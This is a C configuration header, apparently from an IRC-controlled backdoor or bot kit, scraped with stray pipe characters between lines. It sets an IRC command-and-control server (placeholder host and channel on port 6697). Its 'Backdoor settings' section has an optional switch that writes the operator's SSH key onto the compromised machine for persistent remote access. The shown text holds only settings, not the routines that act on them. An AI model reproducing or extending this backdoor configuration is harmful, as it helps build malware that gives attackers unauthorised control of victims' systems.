2024-05-07 13:00:33 +00:00
|
|
|
#ifdef MAIN_C
|
|
|
|
typedef struct {
|
|
|
|
int use_ssl;
|
|
|
|
char *ip;
|
|
|
|
int port;
|
|
|
|
|
|
|
|
char *pre_cmd;
|
|
|
|
char *channel;
|
|
|
|
char *channel_key;
|
|
|
|
} SERVER;
|
|
|
|
|
|
|
|
|
|
|
|
/* Client settings */
|
|
|
|
#define CFG_NICKLEN 7
|
|
|
|
SERVER servers[] = {
|
|
|
|
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
|
|
|
|
};
|
|
|
|
|
|
|
|
/*
|
|
|
|
* Irc default ports:
|
|
|
|
* 6667 - unencrypted
|
|
|
|
* 6697 - connection with ssl
|
|
|
|
*/
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
/* Backdoor settings */
|
|
|
|
#ifdef BACKDOOR_C
|
|
|
|
|
|
|
|
/* Uncomment if you want to enable option */
|
|
|
|
/* #define CFG_SSH */
|
|
|
|
|
|
|
|
#ifdef CFG_SSH
|
|
|
|
/*
|
|
|
|
* Writes your ssh key if connection
|
|
|
|
* was not established
|
|
|
|
*/
|
|
|
|
|
|
|
|
const char *ssh_key = "";
|
|
|
|
#endif
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|